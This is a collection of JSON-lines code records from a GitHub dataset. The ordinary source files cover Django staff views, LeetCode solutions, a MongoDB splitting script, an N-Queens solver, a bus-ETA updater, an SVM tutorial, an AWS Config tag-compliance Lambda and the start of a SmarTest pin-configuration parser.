'guest_page_obj': guest_page_obj\n    }\n    return render(request, 'staff/customer.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef registered_profile(request, pk):\n    user = User.objects.get(id=pk)\n    customer = Customer.objects.get(user=user)\n\n    try:\n        orders = customer.order_set.filter(complete=True).order_by('-id')\n        count = orders.count()\n        address = ShippingAddress.objects.filter(customer=customer).last()\n        \n        filterOrderC = OrderFilterC(request.GET, queryset=orders)\n        orders = filterOrderC.qs         \n\n        #orderitems = OrderItem.objects.all()   \n\n        #filterItem = ItemFilter(request.GET, queryset=orderitems)\n        #orderitems = filterItem.qs\n    except:\n        orders = {}\n        count = 0\n        address = {},\n        filterOrderC = {}\n        filterItem = {}\n\n    context = {\n        'user': user,\n        'customer': customer,\n        'count': count,\n        'orders': orders,\n        'address': address,\n        'filterOrderC': filterOrderC\n        #'filterItem': filterItem\n    }\n    return render(request, 'staff/registered_profile.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef guest_profile(request, pk):\n    guest = Customer.objects.get(id=pk)\n\n    try:\n        orders = guest.order_set.filter(complete=True).order_by('-id')\n        count = orders.count()\n        address = ShippingAddress.objects.filter(customer=guest).last()\n\n        filterOrderC = OrderFilterC(request.GET, queryset=orders)\n        orders = filterOrderC.qs\n\n        #orderitems = OrderItem.objects.all()    \n\n        #filterItem = ItemFilter(request.GET, queryset=orderitems)\n        #orderitems = filterItem.qs\n    except:\n        orders = {}\n        count = 0\n        address = {}\n        filterItem = {}\n        filterOrderC = {}\n\n    context = {\n        'guest': guest,\n        'count': count,\n        'orders': orders,\n        'address': address,\n        'filterOrderC': filterOrderC\n        #'filterItem': filterItem\n    }\n\n    return render(request, 'staff/guest_profile.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef createProduct(request):\n    form = ProductForm()\n    if request.method == \"POST\":\n        form = ProductForm(request.POST, request.FILES)\n        if form.is_valid():\n            form.save()\n            return HttpResponseRedirect(reverse('staff:products'))\n\n    context = {\n        'form': form\n    }\n    return render(request, 'staff/crud.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef updateProduct(request, pk):\n    product = Product.objects.get(id=pk)\n    form = ProductForm(instance=product)\n\n    if request.method == \"POST\":\n        form = ProductForm(request.POST, request.FILES, instance=product)\n        if form.is_valid():\n            form.save()\n            return HttpResponseRedirect(reverse('staff:products'))\n\n    context = {\n        'form': form\n    }\n    return render(request, 'staff/crud.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef deleteProduct(request, pk):\n    product = Product.objects.get(id=pk)\n\n    if request.method == \"POST\":\n        product.delete()\n        return HttpResponseRedirect(reverse('staff:products'))\n\n    context = {\n        'product': product\n    }\n    return render(request, 'staff/delete_product.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef products(request):\n    products = Product.objects.all().order_by('-date_created')\n\n    filterProduct = ProductFilter(request.GET, queryset=products)\n    products = filterProduct.qs\n\n    paginatedProduct = Paginator(filterProduct.qs, 5)\n    product_page_number = request.GET.get('page')\n    product_page_obj = paginatedProduct.get_page(product_page_number)\n\n    context = {\n        'products': products,\n        'filterProduct': filterProduct,\n        'product_page_obj': product_page_obj\n    }\n    return render(request, 'staff/products.html', context)\n\n@staff_member_required(login_url='staff:login')\ndef product_details(request, pk):\n    product = Product.objects.get(id=pk)\n        \n    context = {\n        'product': product\n    }\n    return render(request, \"staff/product_details.html\", context)\n\n@staff_member_required(login_url='staff:login')\ndef addImages(request, pk):\n    ImageFormSet = inlineformset_factory(Product, Image, fields=('image',), extra=5)\n    product = Product.objects.get(id=pk)\n    formset = ImageFormSet(instance=product)\n\n    if request.method == \"POST\":\n        formset = ImageFormSet(request.POST, request.FILES, instance=product)\n        if formset.is_valid():\n            formset.save()\n            return HttpResponseRedirect(reverse('staff:products'))\n\n    context = {\n        'formset': formset\n    }\n    return render(request, 'staff/add_images.html', context)\n","repo_name":"shaakirag/E-Commerce_Website","sub_path":"staff/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8779,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"39411822251","text":"__author__ = 'Daoyuan'\nfrom BaseSolution import *\nclass RemoveElement(BaseSolution):\n    def __init__(self):\n        BaseSolution.__init__(self)\n    def solution(self, nums, val):\n        if not nums: return 0\n        tmp = []\n        for v in nums:\n            if v != val:\n                tmp.append(v)\n        nums[:] = tmp[:]\n        return len(tmp)","repo_name":"caunion/leetcode","sub_path":"solutions/RemoveElement.py","file_name":"RemoveElement.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"846220204","text":"from collections import deque\nfrom typing import List\n\n\nclass Solution:\n    def maxSlidingWindow(nums: List[int], k: int) -> List[int]:\n        \"\"\"\n            Intuition: Monotonic stack\n            Time complexity: O(N)\n            Space complexity: O(N)\n        \"\"\"\n        output = []\n        q = deque()\n        l = r = 0\n\n        while r < len(nums):\n            while q and nums[q[-1]] < nums[r]:\n                q.pop()\n            q.append(r)\n\n            if l > q[0]:\n                q.popleft()\n\n            if (r + 1) >= k:\n                output.append(nums[q[0]])\n                l += 1\n\n            r += 1\n\n        return output\n\n\nif __name__ == \"__main__\":\n    print(Solution.maxSlidingWindow(nums=[1, 3, -1, -3, 5, 3, 6, 7], k=3))\n","repo_name":"jovanvuleta/leetcoding","sub_path":"leetcode/medium/sliding_window/sliding_window_maximum_239.py","file_name":"sliding_window_maximum_239.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14143129710","text":"'''\nThis script will divide the whole GTFS database into several individual GTFS real-time \ntrip-update database and add index.\n'''\n\nimport pymongo\nfrom datetime import timedelta, date\nimport time\n\nclient = pymongo.MongoClient('mongodb://localhost:27017/')\ndb_feed = client.trip_update\ndb_tripupdate = db_feed.full_trip_update\n\ndef daterange(start_date, end_date):\n    for n in range(int((end_date - start_date).days)):\n        yield start_date + timedelta(n)\n\nstart_date = date(2018, 9, 3)\nend_date = date(2019, 1, 31)\n\nfor single_date in daterange(start_date, end_date):\n    today_date = single_date.strftime(\"%Y%m%d\")  # date\n    print(str(today_date))\n    db_today_feeds=(db_tripupdate.find({\"start_date\": str(today_date)},no_cursor_timeout=True))\n    print(\"---------------\",today_date,\": Query\",\"---------------\")\n    for each_feed in db_today_feeds:\n        db_feed[today_date].insert_one(each_feed)\n    print(\"---------------\",today_date,\": Insert\",\"---------------\")\n    db_feed[today_date].create_index([(\"trip_id\",pymongo.ASCENDING)])\n    print(\"---------------\",today_date,\": Index\",\"---------------\")","repo_name":"luyuliu/transfer","sub_path":"scr/mongodb/divide_collection.py","file_name":"divide_collection.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"15745853231","text":"import copy\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nclass Node:\r\n  def __init__(self, state=None, parent=None):\r\n    self.state = state\r\n    self.parent = parent\r\n    self.children = []\r\n\r\n  def addChildren(self, children):\r\n    self.children.extend(children)\r\n        \r\ndef expandAndReturnChildren(node):\r\n  children = []\r\n  board = node.state \r\n  j = sum(line.count(1) for line in board) #number of queens already placed\r\n  for i in range(0,len(board[0])):\r\n    child = copy.deepcopy(board)\r\n    child[j][i] = 1\r\n    children.append(Node(child, board))\r\n  return children\r\n\r\ndef isPossible(board):\r\n    board = board.state\r\n    row = sum(line.count(1) for line in board) - 1 #number of queens already placed\r\n    for z in range(len(board)):\r\n        if board[row][z] == 1:\r\n            col = z         \r\n    \r\n    # Check this col on left side\r\n    for i in range(row):\r\n        if board[i][col] == 1:\r\n            return False\r\n        \r\n    # check right diagonal above\r\n    for i, j in zip(range(row-1, -1, -1), range(col+1, (len(board)), 1) ):\r\n        if board[i][j] == 1:\r\n            return False\r\n        \r\n    # check left diagonal above\r\n    for i, j in zip(range(row-1, -1, -1),range(col-1, -1, -1)):\r\n        if board[i][j] == 1:\r\n            return False\r\n\r\n    return True\r\n    \r\ndef dfs(board):\r\n  frontier = []\r\n  explored = []\r\n  found_goal = False\r\n  goalie = Node()\r\n  \r\n  # add initial state to frontier\r\n  frontier.append(Node(board, None))\r\n  \r\n  while not found_goal:\r\n    # goal test\r\n    if (sum(line.count(1) for line in frontier[0].state) == len(board)):\r\n      found_goal = True\r\n      goalie = frontier[0]\r\n      break\r\n      \r\n    # expand the first in the frontier\r\n    children = expandAndReturnChildren(frontier[0])\r\n    # add children list to the expanded node\r\n    frontier[0].addChildren(children)\r\n    # add to the explored list\r\n    explored.append(frontier[0])\r\n    # remove the expanded frontier\r\n    del frontier[0]\r\n    # add children to the frontier\r\n    index = 0\r\n    for child in children:\r\n        if isPossible(child):\r\n            frontier.insert(index,child)\r\n            index = index + 1\r\n  \r\n  solution = goalie.state\r\n\r\n  return solution\r\n\r\ndef drawChessboard(solution):\r\n    # print the solution as characters in the console\r\n    print(\"1 represents a queen | 0 represents an empty space\\n\")\r\n    print('\\n'.join([''.join(['{:2}'.format(item) for item in row]) for row in solution]))\r\n    \r\n    # create the chessboard and display it with matplotlib\r\n    plt.figure(figsize=(len(solution),len(solution)))\r\n    plt.title(\"Solution for %i queens on a %i x %i chessboard\" %(N, N, N))\r\n    chessboard = np.zeros((len(solution),len(solution)))\r\n    chessboard[1::2,0::2] = 1\r\n    chessboard[0::2,1::2] = 1\r\n    plt.imshow(chessboard, cmap='binary')\r\n    \r\n    # hide figure axises\r\n    ax = plt.gca()\r\n    ax.get_xaxis().set_visible(False)\r\n    ax.get_yaxis().set_visible(False)\r\n    \r\n    # plot the queens from the solution onto the chessboard\r\n    for i in range(len(solution)):\r\n        for j in range(len(solution)):\r\n            if solution[j][i] == 1:\r\n                plt.text(i, j, '\\u265b', fontsize=30, ha='center', va='center', color='black' if (i - j) % 2 == 0 else 'white')\r\n    plt.show()\r\n\r\nif __name__ == \"__main__\":\r\n  print(\"\\n=== Solving N-Queen Problem using the DFS Search Algorithm ===\")\r\n  print(\"\\n\" + \"-\"*90 + \"\\nSolution:\\n\")\r\n  N = int(input(\"Enter number of queens (minimum 4): \"))\r\n  while N < 4:\r\n      print(\"Number of queens must be at least 4.\")\r\n      N = int(input(\"Enter number of queens: \"))\r\n      \r\n  board = [[0 for i in range(N)] for j in range(N)]\r\n  solution = dfs(board)\r\n  drawChessboard(solution)","repo_name":"mintchococookies/8-queens","sub_path":"8_queens.py","file_name":"8_queens.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8675586348","text":"# import library\r\nimport json\r\nimport arcpy\r\nimport requests\r\nimport logging\r\n\r\n# Function for changing list resp into dictionary with the bus route's direction and sequence stop number as key\r\ndef parseRouteETA(resp):\r\n    result = {}\r\n    for etaData in resp:\r\n        result.setdefault((etaData['dir'], etaData['seq']), []).append(etaData)\r\n    return result\r\n\r\ndef updateETA():\r\n\r\n    try:\r\n\r\n        # online url link for first extraction\r\n        kmbETA_url = \"https://data.etabus.gov.hk/v1/transport/kmb/route-eta/\"\r\n        # Used as current indicator and stored route NO. and service type\r\n        currQ = None\r\n        # used as pointer of current founded online data\r\n        idx = 0\r\n        #store the length of current founded online data\r\n        len_of_data = 0\r\n\r\n        logging.info('Start Data Update...')\r\n        with arcpy.da.UpdateCursor(\"GDB/KMB.gdb/ETA\",\r\n                                   ('route', 'service_type', 'seq', 'eta_seq',\r\n                                    'eta', 'rmk_tc', 'rmk_sc', 'rmk_en', 'timestamp')) as uCursor:\r\n            for row in uCursor:\r\n                if (row[0], row[1]) != currQ:\r\n                    # Change currQ to match with RS and load new data\r\n                    currQ = (row[0], row[1])\r\n                    query_url = kmbETA_url + r\"{}/{}\".format(currQ[0], currQ[1])\r\n                    etaResp = requests.get(url=query_url)\r\n                    resp_data = json.loads(etaResp.text)['data']\r\n                    routeETA_data = parseRouteETA(resp_data)\r\n                    # reset pointer and length of current founded online data\r\n                    idx = 0\r\n                    len_of_data = len(resp_data)\r\n                # updating data when index is less that total length of current founded online data \r\n                # and the route shop sequence is the same as that of the row pointed by idx \r\n                if ((idx < len_of_data ) and (row[2] == list(resp_data[idx].values())[4])):\r\n                    # update current row\r\n                    row[3:] = list(resp_data[idx].values())[8:]\r\n                    uCursor.updateRow(row)\r\n                    # point to next row of online data\r\n                    idx += 1\r\n                else:\r\n                    # reset row to None\r\n                    row[3:] = [None] * 6\r\n                    uCursor.updateRow(row)\r\n\r\n\r\n    except Exception as inst:\r\n        print(inst)\r\n\r\n    logging.info('Main Finished')\r\n    print(\"Program Finished. Please check the log file for more information.\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    updateETA()\r\n","repo_name":"yaucp/KMB","sub_path":"updateETA.py","file_name":"updateETA.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"42871307417","text":"from ppb import BaseScene, RectangleSprite, Text, Vector\nfrom ppb.buttons import Primary\nfrom ppb.events import ButtonReleased, StartScene, StopScene\n\nfrom smugglersrun import font\nfrom smugglersrun.sandbox import Sandbox\nfrom smugglersrun.systems import BackgroundMusic, QueueBackgroundMusic\nfrom smugglersrun.utils import sprite_contains_point\n\n\nclass Display(RectangleSprite):\n    height = 0.5\n    text: str = \"Default Text\"\n    font = font.button\n\n    @property\n    def image(self):\n        return Text(self.text, font=self.font, color=font.color)\n\n\nclass LargeDisplay(Display):\n    height = 2\n    font = font.title\n\n\nbgm = BackgroundMusic(\"smugglersrun/resources/bgm.wav\", play_forever=True)\n\n\nclass Credits(BaseScene):\n\n    def __init__(self):\n        super().__init__()\n        self.back_button = Display(text=\"Back\", position=(-10, -5.5))\n        self.add(self.back_button, tags=[\"back_button\"])\n\n        self.add(Display(text=\"Game Design and Programming By:\", position=Vector(-6, 5)))\n        self.add(Display(text=\"Piper Thunstrom\", position=Vector(-6, 4)))\n\n        self.add(Display(text=\"Font Anita Semi-Square By:\", position=Vector(-6.75, 2.5)))\n        self.add(Display(text=\"Gustavo Paz -- Used under CC-SA 4.0\", position=Vector(-2.9, 1.5)))  # Last 3.5 3.25\n\n        self.add(Display(text=\"Images by:\", position=(-9, 0)))  # Last: 7\n        self.add(Display(text=\"Kenney studios\", position=(-6, -1)))\n\n        self.add(Display(text=\"Music Ludum Dare 28 - Track 3 by:\", position=(-5.47, -2.5)))  # 5.75 5\n        self.add(Display(text=\"Abstraction -- www.abstractionmusic.com\", position=(-2.62, -3.5)))  # 2.75 2.5\n\n    def on_button_released(self, event: ButtonReleased, signal):\n        if event.button is not Primary:\n            return\n        if sprite_contains_point(self.back_button, event.position):\n            signal(StopScene())\n\n\nclass Menu(BaseScene):\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.add(LargeDisplay(text=\"Smuggler's Run\", position=Vector(0, 5)))\n\n        self.credits_button = Display(text=\"Credits\", position=Vector(0, -5))\n        self.add(self.credits_button, tags=[\"button\"])\n\n        self.play_game_button = Display(text=\"Play\", position=Vector(0, -4))\n        self.add(self.play_game_button, tags=[\"button\"])\n\n    def on_scene_started(self, event, signal):\n        signal(QueueBackgroundMusic(bgm))\n\n    def on_button_released(self, event: ButtonReleased, signal):\n        if event.button is not Primary:\n            return\n        for button in self.get(tag=\"button\"):\n            if sprite_contains_point(button, event.position):\n                if button is self.credits_button:\n                    signal(StartScene(Credits))\n                elif button is self.play_game_button:\n                    signal(StartScene(Sandbox))\n","repo_name":"pathunstrom/game-jam-gmtk-2020","sub_path":"smugglersrun/src/smugglersrun/menu/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2834,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71100791047","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Apr  4 18:49:51 2020\r\n\r\n@author: douzi\r\n\"\"\"\r\n\r\nimport re\r\n\r\ndef word(text):\r\n    return re.findall('[a-z]', text.lower())\r\n\r\ndef train(features):\r\n    model = {}\r\n    for f in features:\r\n        model[f] = model.get(f, 0) + 1\r\n        \r\n    return model\r\n\r\ndef main():\r\n    statistic = train(word(open('./file/file_2005_2.txt').read()))\r\n    statistic = list(statistic.items())\r\n    \r\n    statistic.sort(key=lambda x:(x[1], x[0]), reverse=True)\r\n    print(statistic)\r\n    \r\n    \r\nif __name__=='__main__':\r\n    main()","repo_name":"douzujun/Python-Foundation-Suda","sub_path":"苏大上机代码/python_project/03_历年真题期末期中/RealExercise3/py02_2005.py","file_name":"py02_2005.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"16"}
+{"seq_id":"33501736229","text":"class Solution: \n    def corpFlightBookings(self, bookings: List[List[int]], n: int) -> List[int]: \n        seats=[0]*(n+1) \n\n        for i,j,k in bookings: \n            seats [i-1] += k \n            seats[j] -= k \n        seats.pop() \n\n        for i in range(1,n): \n            seats[i] += seats[i-1] \n\n        return seats","repo_name":"dagiTensay/competitve-programming","sub_path":"1109-corporate-flight-bookings/1109-corporate-flight-bookings.py","file_name":"1109-corporate-flight-bookings.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12857568043","text":"import cv2\n\ndef video_reader(cap, factor=0.6):\n    # is_first = True\n\n    ret, frame = cap.read()\n\n    if ret:\n        h, w = frame.shape[:2]\n        h *= factor\n        w *= factor\n\n        frame = cv2.resize(frame, (int(w), int(h)))\n        # print(frame.shape)\n        \n        # if is_first:\n        #     cv2.imwrite('ParkingSaved.jpg', frame)\n        #     is_first = False\n\n        return ret, frame","repo_name":"sudo-Erno/Parking-Counter","sub_path":"video_reader.py","file_name":"video_reader.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31771460884","text":"# Autor: Michał Hemperek\n# Złożoność: O(n)\n# Na samym początku wybieramy z tablicy elementy większe\n# niż jej długość, bo i tak zostałyby wybrane.\n# Później spisujemy ilość elementów o poszczególnych wartościach\n# do dodatkowej tablicy gdzie wartości elementu odpowiada indeks\n# jej równy. Na końcu wybieramy największe elementy, które nie\n# roztopią się, zanim do nich dotrzemy\n\nfrom zad2testy import runtests\n\n\ndef snow(S):\n    total = 0\n    j = 0\n    aux = [0 for i in range(len(S)+1)]\n\n    for i in range(len(S)):\n        if S[i] > len(S):\n            total += S[i] - j\n            j += 1\n        else:\n            aux[S[i]] += 1\n\n    for i in range(len(S), -1, -1):\n        while aux[i] > 0 and i-j > 0:\n            total += i-j\n            j += 1\n            aux[i] -= 1\n        if i < j:\n            break\n\n    return total\n\n\n# zmien all_tests na True zeby uruchomic wszystkie testy\nruntests(snow, all_tests=True)\n","repo_name":"Rellikeht/zadanka","sub_path":"asd/zad2/zad2.py","file_name":"zad2.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72819521927","text":"\"\"\"Module for handling lines in PowerFactory.\"\"\"\nfrom sinfactory.component import Component\n\n\nclass Line(Component):\n    \"\"\"Class for interfacing with powerfactory lines.\"\"\"\n\n    def __init__(self, pf_object):\n        \"\"\"PowerFactoryLine constructor\n\n        Args:\n            pf_object: The line object\n        \"\"\"\n        super().__init__(pf_object)\n\n        self.f_bus_cub = self.pf_object.bus1\n        self.t_bus_cub = self.pf_object.bus2\n        self.f_bus = pf_object.bus1.GetFullName().split(\"\\\\\")[-2].split(\".\")[0]\n        self.t_bus = pf_object.bus2.GetFullName().split(\"\\\\\")[-2].split(\".\")[0]\n        self.switches = [self.pf_object.bus1.cpCB,\n                         self.pf_object.bus2.cpCB]\n\n    @property\n    def loading(self):\n        \"\"\"The loading of the line in percent of rating.\"\"\"\n        return self.get_attribute(\"c:loading\")\n\n    @property\n    def p(self):\n        \"\"\"The active power flow on the line\"\"\"\n        return self.get_attribute(\"m:P:bus1\")\n\n","repo_name":"Hofsmo/SinFactory","sub_path":"sinfactory/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"2421637537","text":"# Check if RDS Instances are tagged as per the tagging policy..\r\n# Report if Block ID-tag and Billing code-tag are not present or doesn't have values.\r\n# (enabled is COMPLIANT, disabled is NON_COMPLIANT)\r\n#\r\n# Trigger Type: Configuration AWS::RDS::DBInstance and Periodic 24 hrs.\r\n# Scope of Changes: AWS::RDS::DBInstance.\r\n\r\nimport json\r\nimport boto3\r\n\r\nAPPLICABLE_RESOURCES = ['AWS::RDS::DBInstance']\r\nREQUIRED_TAG_KEYS = ['Block ID', 'Billing code','OAR/OPR ID','Business Application CI','Environment','Confidentiality','Integrity','Availability']\r\n\r\ndef check_tags(tags):\r\n\r\n    for key in REQUIRED_TAG_KEYS:\r\n        if key not in tags or not tags[key]:\r\n            return False\r\n    return True\r\n\r\ndef evaluate_compliance(configuration_item):\r\n    if configuration_item['resourceType'] not in APPLICABLE_RESOURCES:\r\n        return {\r\n            'compliance_type': 'NOT_APPLICABLE',\r\n            'annotation': 'The rule doesn\\'t apply to resources of type ' +\r\n            configuration_item['resourceType'] + '.'\r\n        }\r\n\r\n    if configuration_item['configurationItemStatus'] == 'ResourceDeleted':\r\n        return {\r\n            'compliance_type': 'NOT_APPLICABLE',\r\n            'annotation': 'The configurationItem was deleted and therefore cannot be validated.'\r\n        }\r\n\r\n    current_tags = configuration_item['tags']\r\n    compliant = check_tags(current_tags)\r\n\r\n    if compliant:\r\n        return {\r\n            'compliance_type': 'COMPLIANT',\r\n            'annotation': 'Block ID and Billing code are set'\r\n        }\r\n    else:\r\n        return {\r\n            'compliance_type': 'NON_COMPLIANT',\r\n            'annotation': 'Block ID or Billing code are not set'\r\n        }\r\n\r\n\r\ndef lambda_handler(event, _context):\r\n    invoking_event = json.loads(event['invokingEvent'])\r\n    configuration_item = invoking_event['configurationItem']\r\n\r\n    result_token = 'No token found.'\r\n    if 'resultToken' in event:\r\n        result_token = event['resultToken']\r\n\r\n    evaluation = evaluate_compliance(configuration_item)\r\n\r\n    config = boto3.client('config')\r\n    config.put_evaluations(\r\n        Evaluations=[\r\n            {\r\n                'ComplianceResourceType':\r\n                    configuration_item['resourceType'],\r\n                'ComplianceResourceId':\r\n                    configuration_item['resourceId'],\r\n                'ComplianceType':\r\n                    evaluation['compliance_type'],\r\n                'Annotation':\r\n                    evaluation['annotation'],\r\n                'OrderingTimestamp':\r\n                    configuration_item['configurationItemCaptureTime']\r\n            },\r\n        ],\r\n        ResultToken=result_token\r\n    )\r\n","repo_name":"ebindavis17/Shell","sub_path":"RDS_022.py","file_name":"RDS_022.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1387216866","text":"import pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\nfrom ydata_profiling import ProfileReport\r\ndata = pd.read_csv('D:\\\\python\\\\MLProjects\\\\MLForCloudDeployment_Heroku\\\\SourceFiles\\\\winequality-red.csv')\r\nprint(data.describe())\r\nprint('Checking Null values in the data set')\r\nprint(data.isnull().sum())\r\n#report = ProfileReport(data,title='Profile Report for SVM')\r\n#report.to_file('ProfileReportForSVM')\r\nsns.scatterplot(data=data,x='density',y='pH')\r\nplt.show()\r\nfrom sklearn.preprocessing import StandardScaler\r\nscaler = StandardScaler()\r\nnew_data = scaler.fit_transform(data.drop(labels=['quality'],axis=1))\r\nprint(data.columns)\r\nscaled_data = pd.DataFrame(new_data,columns=['fixed acidity', 'volatile acidity', 'citric acid', 'residual sugar',\r\n       'chlorides', 'free sulfur dioxide', 'total sulfur dioxide', 'density',\r\n       'pH', 'sulphates', 'alcohol'])\r\nprint('New data columns now.')\r\nprint(scaled_data.columns)\r\nprint(scaled_data.head(20))\r\nfrom sklearn.preprocessing import RobustScaler\r\nr_scalar = RobustScaler()\r\nr_scaler_data = r_scalar.fit_transform(data.drop(labels=['quality'],axis=1))\r\nrscaled_data_df = pd.DataFrame(r_scaler_data,columns=['fixed acidity', 'volatile acidity', 'citric acid', 'residual sugar',\r\n       'chlorides', 'free sulfur dioxide', 'total sulfur dioxide', 'density',\r\n       'pH', 'sulphates', 'alcohol'])\r\n\r\nx = rscaled_data_df\r\ny = data['quality']\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nx_train,x_test,y_train,y_test = train_test_split(x,y,test_size=0.2,random_state=101)\r\nprint(y)\r\n\r\nfrom sklearn.svm import SVC\r\nSVC_Model = SVC()\r\nSVC_Model.fit(x_train,y_train)\r\ny_predicted = SVC_Model.predict(x_test)\r\nfrom sklearn.metrics import accuracy_score\r\nprint('SVC Accuracy score is:',accuracy_score(y_test,y_predicted))\r\nprint('As checked our predicted model is quite low. We have improve the accuracy using')\r\nprint('grid serach cv approch to optimize the parameter to get best accuracy')\r\n\r\ngridscv_Model = SVC(C=3,kernel='rbf')\r\ngridscv_Model.fit(x_train,y_train)\r\ny_predict = gridscv_Model.predict(x_test)\r\nprint('SVC with hiper parameter Accuracy score is:',accuracy_score(y_test,y_predict))\r\n\r\nprint('Trying with logistic Regression')\r\nfrom sklearn.linear_model import LogisticRegression\r\nLR = LogisticRegression(multi_class='ovr')\r\nLR.fit(x_train,y_train)\r\nlr_predict = LR.predict(x_test)\r\nprint('Logistic Regression Accuracy score is:',accuracy_score(y_test,lr_predict))\r\n\r\nfrom sklearn.model_selection import GridSearchCV\r\n#grid_param ={'C':[2,5,0,1,7,10,15,23,60,100],'gamma':[1,3,6,0.1,0.00123],'kernel':('rbf','sigmoid','linear')}\r\ngrid_param = {'C': [1], 'gamma': [1], 'kernel': ['rbf']} #this is the best param we got so using this one\r\ngrid_cv =GridSearchCV(SVC(),param_grid=grid_param,verbose=1,n_jobs=2)\r\ngrid_cv.fit(x_train,y_train)\r\ngrid_predict = grid_cv.predict(x_test)\r\nprint('Best param :',grid_cv.best_params_)\r\nprint('GSR Accuracy score is:',accuracy_score(y_test,grid_predict))\r\n\r\nprint('Support vector regression')\r\nprint(''' ''')\r\n\r\nprint(''' The fit() method helps in fitting the data into a model, \r\n          transform() method helps in transforming the data into a form that is more suitable for the model. \r\n          Fit_transform() method, on the other hand, combines the functionalities of both fit() and transform() methods in one step''')\r\n\r\n#https://www.geeksforgeeks.org/data-analysis-with-python/?ref=shm very nice one\r\n\r\n#EDA\r\n#1.Anaysis\r\nprint(''' 2.Preprocessing\r\n          1. Missing values\r\n          2. Outlyer\r\n          3. scaling \r\n          4. encoding \r\n          5. Feature selection\r\n          6. Transfermation\r\n          7. Feature merging \r\n          8. In balanced data''' )\r\n\r\n\r\n","repo_name":"vissenthil/Python","sub_path":"SVM_Implementation.py","file_name":"SVM_Implementation.py","file_ext":"py","file_size_in_byte":3745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14666560672","text":"\"\"\" \nThis module parsers SmarTest 7 pins-configuration files. \n\nThis parser does not implement a lexer and parser stage becasue the \nSmarTest 7 file contains a fairly strict line-by-line syntax. This \nmodule mainly uses a suite of regex patterns. \n\nNote to self: because the configuration file is variable fields for a\ngiven command, its line-by-line, we can probably get away with simply \nchecking the front of the line. \n\n\"\"\"\nimport os, sys, re, argparse\nfrom collections import OrderedDict\nimport st7putils \n# ----------------------------------------------------------------------------:\ndef dut_interface(): \n    x = \"\"\"\nThe V9300 test head can be configured with different combinations of different\ntypes of cards to meet specific test requirements. \n\n\n ===============================================================================================\n|   ___________________    ___________________    ___________________    ___________________     |\n|  |      Group 7      |  |      Group 8      |  |      Group 2      |  |      Group 6      |    |\n|  |-------------------|  |-------------------|  |-------------------|  |-------------------| \n|  | DPS.7 |  | UTIL.8 |  | DPS.8 |  | UTIL.4 |  | DPS.2 |  | UTIL.3 |  | DPS.6 |  | UTIL.7 |     |\n|  | (272) |  | (172)  |  | (268) |  | (168)  |  | (267) |  | (167)  |  | (271) |  | (171)  | \n|  | -424- |  | -420-  |  | -432- |  | -428-  |  | -316- |  | -312-  |  | -416- |  | -412-  | \n \n\n\n\n\n\n\n|  | 224   | | 220   |    | 224   | | 220   |    | 224   | | 220   |    | 224   | | 220   |     |\n|  | 223   | | 219   |    | 224   | | 220   |    | 224   | | 220   |    | 224   | | 220   |     |\n|  | 222   | | 218   |    | 222   | | 218   |    | 222   | | 218   |    | 222   | | 218   |     |\n|  | 221   | | 217   |    | 222   | | 218   |    | 222   | | 218   |    | 222   | | 218   |     |\n|   ^^^^^^^   ^^^^^^^      ^^^^^^^   ^^^^^^^      ^^^^^^^   ^^^^^^^      ^^^^^^^   ^^^^^^^      |\n|                                                                                               |\n|   _______   _______      _______   _______      _______   _______      _______   _______      |\n|  | DPS 7 | | Util.8|    | DPS 8 | | Util.4|    | DPS 7 | | Util.8|   || DPS 7 | | Util.8||    |\n|  | 224   | | 220   |    | 224   | | 220   |    | 224   | | 220   |   || 224   | | 220   ||    |\n|  | 223   | | 219   |    | 224   | | 220   |    | 224   | | 220   |   || 224   | | 220   ||    |\n|  | 222   | | 218   |    | 222   | | 218   |    | 222   | | 218   |   || 222   | | 218   ||    |\n|  | 221   | | 217   |    | 222   | | 218   |    | 222   | | 218   |   || 222   | | 218   ||    |\n|   ^^^^^^^   